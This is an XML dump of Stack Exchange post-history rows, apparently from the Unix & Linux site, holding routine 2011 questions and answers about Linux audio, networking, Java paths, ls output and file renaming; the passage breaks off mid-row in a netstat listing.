  <row Id="16540" PostHistoryTypeId="5" PostId="7067" RevisionGUID="44856bdf-8b66-45b1-9cb4-0698fcafcb2b" CreationDate="2011-02-09T13:18:19.470" UserId="2689" Comment="added 80 characters in body" Text="I have a wav file, Duration: 00:00:00.17 (less than a second!)&#xD;&#xA;&#xD;&#xA;When I call `play` to execute it, `play` executes it fine, but my terminal becomes idle for ~4s until play process is done.&#xD;&#xA;&#xD;&#xA;Is this by design? Is it possible to just play the sound and be done in less than a second?&#xD;&#xA;&#xD;&#xA;**EDIT**: Running `time` as suggested by [@jsbillings][1]:&#xD;&#xA;&#xD;&#xA;     File Size: 1.89k     Bit Rate: 90.3k&#xD;&#xA;      Encoding: Unsigned PCM  &#xD;&#xA;      Channels: 1 @ 8-bit    &#xD;&#xA;    Samplerate: 11025Hz      &#xD;&#xA;    Replaygain: off         &#xD;&#xA;      Duration: 00:00:00.17  &#xD;&#xA;    &#xD;&#xA;    In:100%  00:00:00.17 [00:00:00.00] Out:1.85k [!=====|=====!]        Clip:0    &#xD;&#xA;    Done.&#xD;&#xA;    &#xD;&#xA;    real	0m2.912s&#xD;&#xA;    user	0m0.004s&#xD;&#xA;    sys	        0m0.008s&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/users/3976/jsbillings" />
  <row Id="16541" PostHistoryTypeId="5" PostId="5439" RevisionGUID="8957cfdd-302f-4b00-b8e3-ed149542546a" CreationDate="2011-02-09T13:34:30.687" UserId="3466" Comment="re-wrote the entire question to (hopefully) provide better clarity" Text="At home I'm setting up a CentOS 5.5 server that will be running a bunch of KVM VMs. Normally pressing the CTRL-SHIFT-Fn combination on the attached keyboard switches to terminals on the host machine. What I'd like to do instead is have some number of CTRL-SHIFT-Fn combinations attach to the VMs that are running, in essence have the key combination behave like a KVM switch. &#xD;&#xA;&#xD;&#xA;So for example, pressing CTRL-SHIFT-F1 displays a text terminal for the host machine, but pressing CTRL-SHIFT-F2 displays an X session that is running on one VM and pressing CTRL-SHIFT-F3 displays yet another VM terminal.&#xD;&#xA;&#xD;&#xA;Some of the VMs will have X installed, so I'd like the solution to behave just like a 'normal'  X session: Presents an X login screen if I haven't already logged in." />
  <row Id="16542" PostHistoryTypeId="2" PostId="7150" RevisionGUID="9445f983-ba51-47d6-ae9f-41418545dac6" CreationDate="2011-02-09T14:15:34.897" UserId="4543" Text="Two similar solutions:&#xD;&#xA;&#xD;&#xA;- `expect` (as given by other answers), which requires TCL.&#xD;&#xA;- `pexpect`, written in pure Python." />
  <row Id="16543" PostHistoryTypeId="2" PostId="7151" RevisionGUID="3ecff104-c416-4435-9779-6cf92177ccba" CreationDate="2011-02-09T14:16:11.353" UserId="3976" Text="While it isn't SSH's pubkey authentication (which is something that only exists in the SSH protocol, not SMTP), you could set up [TLS Client certificates][1].  This will require a valid SSL certificate on the client side.&#xD;&#xA;&#xD;&#xA;Also, if you must use SSH's pubkeys, you could simply allow all mail connections from localhost on your personal SMTP server, and set up an SSH tunnel over SSH to port 25 on the SMTP server.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.postfix.org/TLS_README.html#server_vrfy_client" />
  <row Id="16544" PostHistoryTypeId="25" PostId="7123" RevisionGUID="928951ca-0e57-48f3-82f8-4ae4c812886e" CreationDate="2011-02-09T14:16:32.680" Comment="http://twitter.com/#!/StackUnix/status/35341281064390656" />
  <row Id="16545" PostHistoryTypeId="2" PostId="7152" RevisionGUID="d63c526a-d3da-4e0a-933e-2857e17c39f2" CreationDate="2011-02-09T14:28:44.220" UserId="4335" Text="Hello,&#xD;&#xA;&#xD;&#xA;I was wondering whether we can have different wallpapers in each workspace of a Linux distro. Googled it. Solutions I found require desktop effects to be enabled. My laptop can't take up that much load. So I wanted to know if their's a way to do so without enabling any effects.&#xD;&#xA;&#xD;&#xA;DE - Gnome.&#xD;&#xA;Distro - Fedora 14.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="16546" PostHistoryTypeId="1" PostId="7152" RevisionGUID="d63c526a-d3da-4e0a-933e-2857e17c39f2" CreationDate="2011-02-09T14:28:44.220" UserId="4335" Text="Can We Have Different Wallpapers For Each Workspace?" />
  <row Id="16547" PostHistoryTypeId="3" PostId="7152" RevisionGUID="d63c526a-d3da-4e0a-933e-2857e17c39f2" CreationDate="2011-02-09T14:28:44.220" UserId="4335" Text="élinuxàéfedoraàégnomeödesktopà" />
  <row Id="16548" PostHistoryTypeId="2" PostId="7153" RevisionGUID="768cda77-edeb-4926-855b-caab2a862644" CreationDate="2011-02-09T14:50:55.820" UserId="4335" Text="Use `last`. It helped me find the installation date on Fedora 14. The last line stating `wtmp begins Tue Nov  9 22:35:12 2010` is the installation date." />
  <row Id="16549" PostHistoryTypeId="5" PostId="7149" RevisionGUID="4c2e25f8-18ce-4797-a8d3-3ff5dacd4fa4" CreationDate="2011-02-09T14:58:58.103" UserId="73" Comment="deleted 69 characters in body" Text="How can I determine when Ubuntu was installed in my computer? There was a different question posted [here][1], but none of them is helpful.&#xD;&#xA;&#xD;&#xA;  [1]: http://askubuntu.com/questions/1352/date-ubuntu-was-installed" />
  <row Id="16550" PostHistoryTypeId="2" PostId="7154" RevisionGUID="17ac07a3-a21b-4cf0-8b7f-8fc8b58515b5" CreationDate="2011-02-09T14:59:25.340" UserId="2511" Text="The short answer is [not without applying patches][1].&#xD;&#xA;&#xD;&#xA;But you could use a different window manager / desktop environment. Enlightenment, for example, supports this feature.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bugzilla.gnome.org/show_bug.cgi?id=48004" />
  <row Id="16551" PostHistoryTypeId="5" PostId="5052" RevisionGUID="2245e091-3bb2-42e1-848f-09a3ac0e4673" CreationDate="2011-02-09T15:16:40.163" UserId="250" Comment="improve formatting, fix the links" Text="This seems to be a known bug and you can read more detail on [launchpad][1] as well as on [ubuntuforums][2]. The issue is that somehow `gnome-power-manager` and the `xset` commands conflict with each other.&#xD;&#xA;&#xD;&#xA;The solution is to run `xset dpms force off` in a loop, a python [script][3] pretty much works for most of us.&#xD;&#xA;&#xD;&#xA;Give it a try, and see how it goes.&#xD;&#xA;&#xD;&#xA;SORRY: Since I'm new here, I can only post one link in my post. Please change the hxxp to http in links above.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bugs.launchpad.net/ubuntu/+source/gnome-power-manager/+bug/447728&#xD;&#xA;  [2]: http://ubuntuforums.org/showthread.php?t=1317747&#xD;&#xA;  [3]: http://ubuntuforums.org/showpost.php?p=9433671&amp;postcount=24" />
  <row Id="16552" PostHistoryTypeId="2" PostId="7155" RevisionGUID="cc60d053-ac5e-4205-883a-8196418e903c" CreationDate="2011-02-09T15:23:12.997" UserId="3635" Text="There is a good write up [here][1]:&#xD;&#xA;&#xD;&#xA;&gt;Older versions of the Linux kernel took great pains to distinguish between &quot;fast&quot; and &quot;slow&quot; interrupts. Fast interrupts were those that could be handled very quickly, whereas handling slow interrupts took significantly longer. Slow interrupts could be sufficiently demanding of the processor, and it was worthwhile to reenable interrupts while they were being handled. Otherwise, tasks requiring quick attention could be delayed for too long.&#xD;&#xA;&gt;&#xD;&#xA;&gt;In modern kernels, most of the differences between fast and slow interrupts have disappeared. There remains only one: fast interrupts (those that were requested with the SA_INTERRUPT flag) are executed with all other interrupts disabled on the current processor. Note that other processors can still handle interrupts, although you will never see two processors handling the same IRQ at the same time.&#xD;&#xA;&gt;&#xD;&#xA;&gt;So, which type of interrupt should your driver use? On modern systems, SA_INTERRUPT is intended only for use in a few, specific situations such as timer interrupts. Unless you have a strong reason to run your interrupt handler with other interrupts disabled, you should not use SA_INTERRUPT.&#xD;&#xA;&#xD;&#xA;So the only difference is the one that you mentioned; that fast interrupt handlers execute with all other interrupt handlers disabled, for faster performance.&#xD;&#xA;  [1]: http://www.makelinux.net/ldd3/chp-10-sect-2.shtml#chp-10-sect-2.3" />
  <row Id="16553" PostHistoryTypeId="6" PostId="7152" RevisionGUID="0a73fc12-a5ec-43bc-838e-59bd66965dee" CreationDate="2011-02-09T15:27:33.833" UserId="688" Comment="edited tags; deleted 17 characters in body" Text="élinuxàéfedoraàégnomeà" />
  <row Id="16554" PostHistoryTypeId="5" PostId="7152" RevisionGUID="0a73fc12-a5ec-43bc-838e-59bd66965dee" CreationDate="2011-02-09T15:27:33.833" UserId="688" Comment="edited tags; deleted 17 characters in body" Text="I was wondering whether we can have different wallpapers in each workspace of a Linux distro. Googled it. Solutions I found require desktop effects to be enabled. My laptop can't take up that much load. So I wanted to know if their's a way to do so without enabling any effects.&#xD;&#xA;&#xD;&#xA;[**note**] My distro is Fedora 14.&#xD;&#xA;" />
  <row Id="16555" PostHistoryTypeId="5" PostId="5002" RevisionGUID="8496a163-b46c-4e65-aabd-770cc3bd2a17" CreationDate="2011-02-09T15:29:48.013" UserId="688" Comment="added 1 characters in body; edited tags" Text="In GNOME Desktop, when I type `/usr/bin/firefox`, the Firefox browser will open. How can I open a command line window in the same way?&#xD;&#xA;" />
  <row Id="16556" PostHistoryTypeId="6" PostId="5002" RevisionGUID="8496a163-b46c-4e65-aabd-770cc3bd2a17" CreationDate="2011-02-09T15:29:48.013" UserId="688" Comment="added 1 characters in body; edited tags" Text="égnomeà" />
  <row Id="16557" PostHistoryTypeId="5" PostId="7147" RevisionGUID="a12ade15-727e-489f-9962-84aa8b1ccf57" CreationDate="2011-02-09T15:31:16.233" UserId="2278" Comment="added 165 characters in body" Text="Hi, &#xD;&#xA;&#xD;&#xA;On waking up after standby the network (eth0) remains down. The eth0 card is r8169. &#xD;&#xA;&#xD;&#xA;I have tried :&#xD;&#xA;&#xD;&#xA; - `modprobe -r r8169; modprobe r8169`  &#xD;&#xA;Doesn't work&#xD;&#xA; - `ifconfig eth0 up`  &#xD;&#xA;I can see the lights blinking at the ethernet socket but network is not connected, can't see any option through nm applet.&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;###Config details: &#xD;&#xA;OS: Debian-squeeze (6.0)  &#xD;&#xA;&#xD;&#xA;`ethtool eth0` output:&#xD;&#xA;&#xD;&#xA;    Supported ports: [ TP MII ]&#xD;&#xA;    Supported link modes:   10baseT/Half 10baseT/Full &#xD;&#xA;	                        100baseT/Half 100baseT/Full &#xD;&#xA;    Supports auto-negotiation: Yes&#xD;&#xA;    Advertised link modes:  10baseT/Half 10baseT/Full &#xD;&#xA;	                        100baseT/Half 100baseT/Full &#xD;&#xA;    Advertised pause frame use: No&#xD;&#xA;    Advertised auto-negotiation: Yes&#xD;&#xA;    Link partner advertised link modes:  10baseT/Half 10baseT/Full &#xD;&#xA;	                                     100baseT/Half 100baseT/Full &#xD;&#xA;    Link partner advertised pause frame use: No&#xD;&#xA;    Link partner advertised auto-negotiation: Yes&#xD;&#xA;    Speed: 100Mb/s&#xD;&#xA;    Duplex: Full&#xD;&#xA;    Port: MII&#xD;&#xA;    PHYAD: 0&#xD;&#xA;    Transceiver: internal&#xD;&#xA;    Auto-negotiation: on&#xD;&#xA;    Supports Wake-on: pumbg&#xD;&#xA;    Wake-on: g&#xD;&#xA;    Current message level: 0x00000033 (51)&#xD;&#xA;    Link detected: yes&#xD;&#xA;&#xD;&#xA;File `/etc/network/interfaces`&#xD;&#xA;&#xD;&#xA;    # This file describes the network interfaces available on your system&#xD;&#xA;    # and how to activate them. For more information, see interfaces(5).&#xD;&#xA;    &#xD;&#xA;    # The loopback network interface&#xD;&#xA;    auto lo&#xD;&#xA;    iface lo inet loopback&#xD;&#xA;    &#xD;&#xA;    # The primary network interface&#xD;&#xA;    allow-hotplug eth0&#xD;&#xA;    #NetworkManager#iface eth0 inet dhcp&#xD;&#xA;" />
  <row Id="16558" PostHistoryTypeId="5" PostId="7147" RevisionGUID="3b327f77-73b4-4bba-9f5e-97a94f84b3d6" CreationDate="2011-02-09T15:43:06.567" UserId="2278" Comment="deleted 60 characters in body; added 2 characters in body" Text="Hi, &#xD;&#xA;&#xD;&#xA;On waking up after standby the network (eth0) remains down. The eth0 card is r8169. &#xD;&#xA;&#xD;&#xA;I have tried :&#xD;&#xA;&#xD;&#xA; - `ifconfig eth0 up`  &#xD;&#xA;Doesn't work&#xD;&#xA; - `ifconfig eth0 up; dhcpcd eht0`  &#xD;&#xA;Worked but how do I configure my static ip with this, my proxy is ip bound&#xD;&#xA;&#xD;&#xA;###Config details: &#xD;&#xA;OS: Debian-squeeze (6.0)  &#xD;&#xA;&#xD;&#xA;`ethtool eth0` output:&#xD;&#xA;&#xD;&#xA;    Supported ports: [ TP MII ]&#xD;&#xA;    Supported link modes:   10baseT/Half 10baseT/Full &#xD;&#xA;	                        100baseT/Half 100baseT/Full &#xD;&#xA;    Supports auto-negotiation: Yes&#xD;&#xA;    Advertised link modes:  10baseT/Half 10baseT/Full &#xD;&#xA;	                        100baseT/Half 100baseT/Full &#xD;&#xA;    Advertised pause frame use: No&#xD;&#xA;    Advertised auto-negotiation: Yes&#xD;&#xA;    Link partner advertised link modes:  10baseT/Half 10baseT/Full &#xD;&#xA;	                                     100baseT/Half 100baseT/Full &#xD;&#xA;    Link partner advertised pause frame use: No&#xD;&#xA;    Link partner advertised auto-negotiation: Yes&#xD;&#xA;    Speed: 100Mb/s&#xD;&#xA;    Duplex: Full&#xD;&#xA;    Port: MII&#xD;&#xA;    PHYAD: 0&#xD;&#xA;    Transceiver: internal&#xD;&#xA;    Auto-negotiation: on&#xD;&#xA;    Supports Wake-on: pumbg&#xD;&#xA;    Wake-on: g&#xD;&#xA;    Current message level: 0x00000033 (51)&#xD;&#xA;    Link detected: yes&#xD;&#xA;&#xD;&#xA;File `/etc/network/interfaces`&#xD;&#xA;&#xD;&#xA;    # This file describes the network interfaces available on your system&#xD;&#xA;    # and how to activate them. For more information, see interfaces(5).&#xD;&#xA;    &#xD;&#xA;    # The loopback network interface&#xD;&#xA;    auto lo&#xD;&#xA;    iface lo inet loopback&#xD;&#xA;    &#xD;&#xA;    # The primary network interface&#xD;&#xA;    allow-hotplug eth0&#xD;&#xA;    #NetworkManager#iface eth0 inet dhcp&#xD;&#xA;" />
  <row Id="16559" PostHistoryTypeId="2" PostId="7156" RevisionGUID="48a4975a-154f-45ed-83c7-ddf25f3861c2" CreationDate="2011-02-09T15:58:24.043" UserId="4625" Text="Hello,&#xD;&#xA;&#xD;&#xA;I'm fairly new to unix and I was wondering if there's some attribute of `ls` that I can use to change the spacing between the files. Currently I've aliased my `ls` to output `ls -G`, so that I have colored folders. However, the downside of that is that the files/folders show up a little more squooshed/close together.&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;" />
  <row Id="16560" PostHistoryTypeId="1" PostId="7156" RevisionGUID="48a4975a-154f-45ed-83c7-ddf25f3861c2" CreationDate="2011-02-09T15:58:24.043" UserId="4625" Text="Is it possible to change the spacing between files using ls" />
  <row Id="16561" PostHistoryTypeId="3" PostId="7156" RevisionGUID="48a4975a-154f-45ed-83c7-ddf25f3861c2" CreationDate="2011-02-09T15:58:24.043" UserId="4625" Text="éunixàélsà" />
  <row Id="16562" PostHistoryTypeId="2" PostId="7157" RevisionGUID="9b18836d-7058-4fa8-bdd9-f511de5f9f5c" CreationDate="2011-02-09T16:01:58.330" UserId="4335" Text="As I found [here][1] `sudo grep ubiquity /var/log/installer/syslog | less ` should work for Ubuntu.&#xD;&#xA;&#xD;&#xA;`last` works for Fedora.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ubuntuforums.org/showpost.php?p=1730026&amp;postcount=3" />
  <row Id="16563" PostHistoryTypeId="5" PostId="7156" RevisionGUID="a54c0547-38a5-4f6c-a1c3-9dd77b215f42" CreationDate="2011-02-09T16:02:04.493" UserId="73" Comment="deleted 21 characters in body" Text="I'm fairly new to unix and I was wondering if there's some attribute of `ls` that I can use to change the spacing between the files. Currently I've aliased my `ls` to output `ls -G`, so that I have colored folders. However, the downside of that is that the files/folders show up a little more squooshed/close together.&#xD;&#xA;" />
  <row Id="16564" PostHistoryTypeId="5" PostId="7152" RevisionGUID="760cca78-04c0-4b15-bce0-3221b425a7f5" CreationDate="2011-02-09T16:02:51.247" UserId="2511" Comment="previous edit removed key reference to gnome." Text="I was wondering whether we can have different wallpapers in each workspace of a Linux distro using Gnome. Googled it. Solutions I found require desktop effects to be enabled. My laptop can't take up that much load. So I wanted to know if their's a way to do so without enabling any effects.&#xD;&#xA;&#xD;&#xA;[**note**] My distro is Fedora 14.&#xD;&#xA;" />
  <row Id="16565" PostHistoryTypeId="4" PostId="7152" RevisionGUID="760cca78-04c0-4b15-bce0-3221b425a7f5" CreationDate="2011-02-09T16:02:51.247" UserId="2511" Comment="previous edit removed key reference to gnome." Text="Can We Have Different Wallpapers For Each Workspace under Gnome?" />
  <row Id="16566" PostHistoryTypeId="24" PostId="7152" RevisionGUID="9eaab0be-8ae0-496d-813c-754a1980f1a9" CreationDate="2011-02-09T16:02:51.247" Comment="Proposed by 2511 approved by 73 edit id of 22" />
  <row Id="16567" PostHistoryTypeId="2" PostId="7158" RevisionGUID="b48dbf2b-32d1-4b4b-8b9c-383cb797a5d0" CreationDate="2011-02-09T16:33:20.820" UserId="3976" Text="You might be able to fix this by either running `ls -G -T1`, (or --tabsize=1 instead of -T1), or set TABSIZE=1 in your ~/.bashrc." />
  <row Id="16568" PostHistoryTypeId="5" PostId="7127" RevisionGUID="776f731f-91b6-4451-b5e0-b191084c857a" CreationDate="2011-02-09T17:02:15.890" UserId="4585" Comment="added 17 characters in body" Text="I had &lt;strike&gt;better&lt;/strike&gt; responses over on Server Fault:&#xD;&#xA;&#xD;&#xA;http://serverfault.com/questions/233036/centos-5-5-install-customization" />
  <row Id="16569" PostHistoryTypeId="5" PostId="7147" RevisionGUID="5cdb6a5a-329a-46fd-9ffe-404a193dae02" CreationDate="2011-02-09T17:16:14.147" UserId="2278" Comment="added 289 characters in body" Text="Hi, &#xD;&#xA;&#xD;&#xA;On waking up after standby the network (eth0) remains down. The eth0 card is r8169. &#xD;&#xA;&#xD;&#xA;I have tried :&#xD;&#xA;&#xD;&#xA; - `ifconfig eth0 up`  &#xD;&#xA;Doesn't work&#xD;&#xA; - `ifconfig eth0 up; dhcpcd eht0`  &#xD;&#xA;Worked but how do I configure my static ip with this, my proxy is ip bound&#xD;&#xA;&#xD;&#xA;###This works:&#xD;&#xA;&#xD;&#xA;&gt;this commands gets the network up with the conventional network manager:  &#xD;&#xA;`modprobe -r r8169; modprobe r8169; service network-manager restart`&#xD;&#xA;&#xD;&#xA;But is there any way to automate this or modify the acpi scripts so that no modprobe is required in the first place?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;###Config details: &#xD;&#xA;OS: Debian-squeeze (6.0)  &#xD;&#xA;&#xD;&#xA;`ethtool eth0` output:&#xD;&#xA;&#xD;&#xA;    Supported ports: [ TP MII ]&#xD;&#xA;    Supported link modes:   10baseT/Half 10baseT/Full &#xD;&#xA;	                        100baseT/Half 100baseT/Full &#xD;&#xA;    Supports auto-negotiation: Yes&#xD;&#xA;    Advertised link modes:  10baseT/Half 10baseT/Full &#xD;&#xA;	                        100baseT/Half 100baseT/Full &#xD;&#xA;    Advertised pause frame use: No&#xD;&#xA;    Advertised auto-negotiation: Yes&#xD;&#xA;    Link partner advertised link modes:  10baseT/Half 10baseT/Full &#xD;&#xA;	                                     100baseT/Half 100baseT/Full &#xD;&#xA;    Link partner advertised pause frame use: No&#xD;&#xA;    Link partner advertised auto-negotiation: Yes&#xD;&#xA;    Speed: 100Mb/s&#xD;&#xA;    Duplex: Full&#xD;&#xA;    Port: MII&#xD;&#xA;    PHYAD: 0&#xD;&#xA;    Transceiver: internal&#xD;&#xA;    Auto-negotiation: on&#xD;&#xA;    Supports Wake-on: pumbg&#xD;&#xA;    Wake-on: g&#xD;&#xA;    Current message level: 0x00000033 (51)&#xD;&#xA;    Link detected: yes&#xD;&#xA;&#xD;&#xA;File `/etc/network/interfaces`&#xD;&#xA;&#xD;&#xA;    # This file describes the network interfaces available on your system&#xD;&#xA;    # and how to activate them. For more information, see interfaces(5).&#xD;&#xA;    &#xD;&#xA;    # The loopback network interface&#xD;&#xA;    auto lo&#xD;&#xA;    iface lo inet loopback&#xD;&#xA;    &#xD;&#xA;    # The primary network interface&#xD;&#xA;    allow-hotplug eth0&#xD;&#xA;    #NetworkManager#iface eth0 inet dhcp&#xD;&#xA;" />
  <row Id="16570" PostHistoryTypeId="25" PostId="7156" RevisionGUID="4e3e89a1-dd22-42cb-8bed-9dca9459eae3" CreationDate="2011-02-09T17:22:34.927" Comment="http://twitter.com/#!/StackUnix/status/35388098464591872" />
  <row Id="16571" PostHistoryTypeId="2" PostId="7159" RevisionGUID="24e37c14-36b4-4346-8c2e-8f73a379e273" CreationDate="2011-02-09T17:57:22.020" UserId="4628" Text="I've seen some skilled unix/linux users use joe instead of vi(m) or nano. Why would they prefer using it over the provided alternatives?" />
  <row Id="16572" PostHistoryTypeId="1" PostId="7159" RevisionGUID="24e37c14-36b4-4346-8c2e-8f73a379e273" CreationDate="2011-02-09T17:57:22.020" UserId="4628" Text="Why would someone use joe?" />
  <row Id="16573" PostHistoryTypeId="3" PostId="7159" RevisionGUID="24e37c14-36b4-4346-8c2e-8f73a379e273" CreationDate="2011-02-09T17:57:22.020" UserId="4628" Text="élinuxàéunixàéeditorsà" />
  <row Id="16574" PostHistoryTypeId="2" PostId="7160" RevisionGUID="783fd6c5-f723-47f1-a686-da4612b8eb9d" CreationDate="2011-02-09T18:16:54.580" UserId="4627" Text="I just installed jdk1.6.0. I have tried multiple ways to set the path variable and make java 1.6 my new running version. And nothing is working. Running centos5 virtual machine.&#xD;&#xA;&#xD;&#xA;alternatives --config java returns the following:&#xD;&#xA;&#xD;&#xA;      Selection    Command&#xD;&#xA;    -----------------------------------------------&#xD;&#xA;    *+ 1           /usr/lib/jvm/jre-1.6.0-openjdk/bin/java&#xD;&#xA;       2           /usr/lib/jvm/jre-1.4.2-gcj/bin/java&#xD;&#xA;&#xD;&#xA;java -version returns the following:&#xD;&#xA;&#xD;&#xA;    java version &quot;1.4.2_19&quot;&#xD;&#xA;    Java(TM) 2 Runtime Environment, Standard Edition (build 1.4.2_19-b04)&#xD;&#xA;    Java HotSpot(TM) Client VM (build 1.4.2_19-b04, mixed mode)&#xD;&#xA;&#xD;&#xA;echo $PATH returns the following:&#xD;&#xA;&#xD;&#xA;    /root/bin:/opt/j2sdk/bin:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/testing/jdk1.6.0_23/bin:/usr/local/testing/jdk1.6.0_23/bin&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;1.6.0 is installed in the following location: /usr/local/testing/jdk1.6.0_23/bin&#xD;&#xA;" />
  <row Id="16575" PostHistoryTypeId="1" PostId="7160" RevisionGUID="783fd6c5-f723-47f1-a686-da4612b8eb9d" CreationDate="2011-02-09T18:16:54.580" UserId="4627" Text="installed java, but java -version not showing new java" />
  <row Id="16576" PostHistoryTypeId="3" PostId="7160" RevisionGUID="783fd6c5-f723-47f1-a686-da4612b8eb9d" CreationDate="2011-02-09T18:16:54.580" UserId="4627" Text="écentosàéjavaàépathà" />
  <row Id="16577" PostHistoryTypeId="2" PostId="7161" RevisionGUID="7f7fa29f-9f8a-4c10-895b-b21d4814ffa7" CreationDate="2011-02-09T19:03:32.517" UserId="4632" Text="I have a collection of files matching a pattern such as 'assignment02.cc', 'assignment02.h', 'assignment02.txt', etc. I would like to copy/rename these files into 'assignment03.cc', 'assignment03.h', 'assignment03.txt', and so on.&#xD;&#xA;&#xD;&#xA;I suspect this should be straight forward using a shell script and sed. So far I have:&#xD;&#xA;&#xD;&#xA;    OLD_NO=$1&#xD;&#xA;    NEW_NO=$2&#xD;&#xA;    &#xD;&#xA;    echo &quot;Moving from $OLD_NO to $NEW_NO&quot;&#xD;&#xA;    &#xD;&#xA;    for name in assignment$OLD_NO.* ; do&#xD;&#xA;      newname=$(echo $name | sed 's/\(.*\)$OLD_NO\(.*\)/\1xx$NEW_NO\2/')&#xD;&#xA;      echo &quot;$name -&gt; $newname&quot;&#xD;&#xA;      # mv -v $name $newname&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Unfortunately the way I am invoking sed always returns the input string `$name` and doesn't actually do the regex find/replace.&#xD;&#xA;&#xD;&#xA;Note: Looking on the internet there is a `rename` command which has this functionality, but that isn't available on my MacBook." />
  <row Id="16578" PostHistoryTypeId="1" PostId="7161" RevisionGUID="7f7fa29f-9f8a-4c10-895b-b21d4814ffa7" CreationDate="2011-02-09T19:03:32.517" UserId="4632" Text="Copy/rename multiple files using regular expression (shell script)" />
  <row Id="16579" PostHistoryTypeId="3" PostId="7161" RevisionGUID="7f7fa29f-9f8a-4c10-895b-b21d4814ffa7" CreationDate="2011-02-09T19:03:32.517" UserId="4632" Text="éshellöscriptàésedà" />
  <row Id="16580" PostHistoryTypeId="2" PostId="7162" RevisionGUID="59f0b89e-1a85-415f-b622-f9881e16c0a7" CreationDate="2011-02-09T19:04:40.213" UserId="3069" Text="As of today, you can mostly forget about the `SA_INTERRUPT` flag.  &#xD;&#xA;In between [2.6.18][1] and 2.6.24 it was just a migration helper for the new `IRQF_DISABLED` flag.  &#xD;&#xA;2.6.24 removed all `SA_*` flags and replaced them with [`IRQF_*`][2] flags.  &#xD;&#xA;2.6.35 marked this &quot;new&quot; flag as [deprecated][3]. &#xD;&#xA;&#xD;&#xA;If you have a kernel before 2.6.18, you'll probably won't use it (see Justin's answer).&#xD;&#xA;&#xD;&#xA;Today's usage of `IRQF_DISABLE` differs among the architectures. x86 still only uses it for time critical functions (`time.c`, `hpet.c`) and some `xen` stuff.&#xD;&#xA;&#xD;&#xA;Concerning the difference; a normal interrupt can be interrupted by an other interrupt (preemption), a &quot;fast&quot; one on the other hand, can not.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lxr.linux.no/#linux+v2.6.18/include/linux/interrupt.h#L51&#xD;&#xA;  [2]: http://lxr.linux.no/#linux+v2.6.24/include/linux/interrupt.h#L34&#xD;&#xA;  [3]: http://lxr.linux.no/#linux+v2.6.35/include/linux/interrupt.h#L42" />
  <row Id="16581" PostHistoryTypeId="2" PostId="7163" RevisionGUID="9b5c28ff-5072-48f4-bef0-ec09e8731f3c" CreationDate="2011-02-09T19:06:01.163" UserId="4627" Text="I figured this out. I just appended the new java path to the beginning of my path variable instead of the end and it worked.&#xD;&#xA;&#xD;&#xA;    export PATH=/usr/local/testing/jdk1.6.0_23/bin:$PATH&#xD;&#xA;&#xD;&#xA;That worked. Now i am going to set in my script so it will do automatically." />
  <row Id="16582" PostHistoryTypeId="2" PostId="7164" RevisionGUID="5d206b22-19bb-4688-b014-1cab779f1e9f" CreationDate="2011-02-09T19:20:34.057" UserId="3596" Text="In some directories there are quite a few files.  When I use ls the output is more than my terminal can handle.  Typically I just use one of the following:&#xD;&#xA;&#xD;&#xA;    ls | less&#xD;&#xA;    ls | more&#xD;&#xA;&#xD;&#xA;depending on my mood.  However,  I lose the color coding and I only get a single file/directory per line.  Is there a way to emulate scrolling through my terminal with my mouse after I use ls without actually having to scroll? I checked the man page for ls and I didn't see anything that would allow for this but I may have missed something." />
  <row Id="16583" PostHistoryTypeId="1" PostId="7164" RevisionGUID="5d206b22-19bb-4688-b014-1cab779f1e9f" CreationDate="2011-02-09T19:20:34.057" UserId="3596" Text="Scrolling through ls output without a mouse" />
  <row Id="16584" PostHistoryTypeId="3" PostId="7164" RevisionGUID="5d206b22-19bb-4688-b014-1cab779f1e9f" CreationDate="2011-02-09T19:20:34.057" UserId="3596" Text="élsà" />
  <row Id="16585" PostHistoryTypeId="2" PostId="7165" RevisionGUID="3088b405-a4d5-4680-bba5-c66c3983cd13" CreationDate="2011-02-09T19:27:16.370" UserId="2210" Text="One way you could do it is:&#xD;&#xA;&#xD;&#xA;    ls -1  | sed &quot;s/\(.*\)\..*$/mv '&amp;' '\1.txt'/&quot; | sh&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16586" PostHistoryTypeId="17" PostId="7167" RevisionGUID="dfe61bc4-dbac-49f0-9963-06ca7a9fb9fc" CreationDate="2011-02-09T19:32:31.103" UserId="-1" Comment="from http://superuser.com/questions/243672/how-can-i-open-port-21-on-a-linux-vm/243679#243679" Text="" />
  <row Id="16587" PostHistoryTypeId="2" PostId="7167" RevisionGUID="18dea1ed-c140-4257-8e7a-d089ee63b852" CreationDate="2011-02-09T17:39:22.083" UserId="4627" Text="I figured it out. I don't have an FTP server running on the machine I am trying to connect to. Brain dead mistake." />
  <row Id="16588" PostHistoryTypeId="2" PostId="7166" RevisionGUID="10437c5c-5ee8-409d-9e4f-1ac7e28c7404" CreationDate="2011-02-09T17:28:47.727" UserId="4627" Text="I need to open port 21 on a Linux (CentOS 5) virtual machine I have. I have tried several Google solutions, but none are working. I was wondering if someone could tell me how to do this.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Below is the output of `netstat -tulpn`:&#xD;&#xA;&#xD;&#xA;&gt;tcp        0      0 127.0.0.1:2208              0.0.0.0:*                   LISTEN      3576/hpiod          &#xD;&#xA;tcp        0      0 0.0.0.0:611                 0.0.0.0:*                   LISTEN      3397/rpc.statd      &#xD;&#xA;tcp        0      0 0.0.0.0:111                 0.0.0.0:*                   LISTEN      3365/portmap        &#xD;&#xA;tcp        0      0 127.0.0.1:631               0.0.0.0:*                   LISTEN      3020/cupsd          &#xD;&#xA;tcp        0      0 127.0.0.1:25                0.0.0.0:*                   LISTEN      3629/sendmail: acce &#xD;&#xA;tcp        0      0 127.0.0.1:2207              0.0.0.0:*                   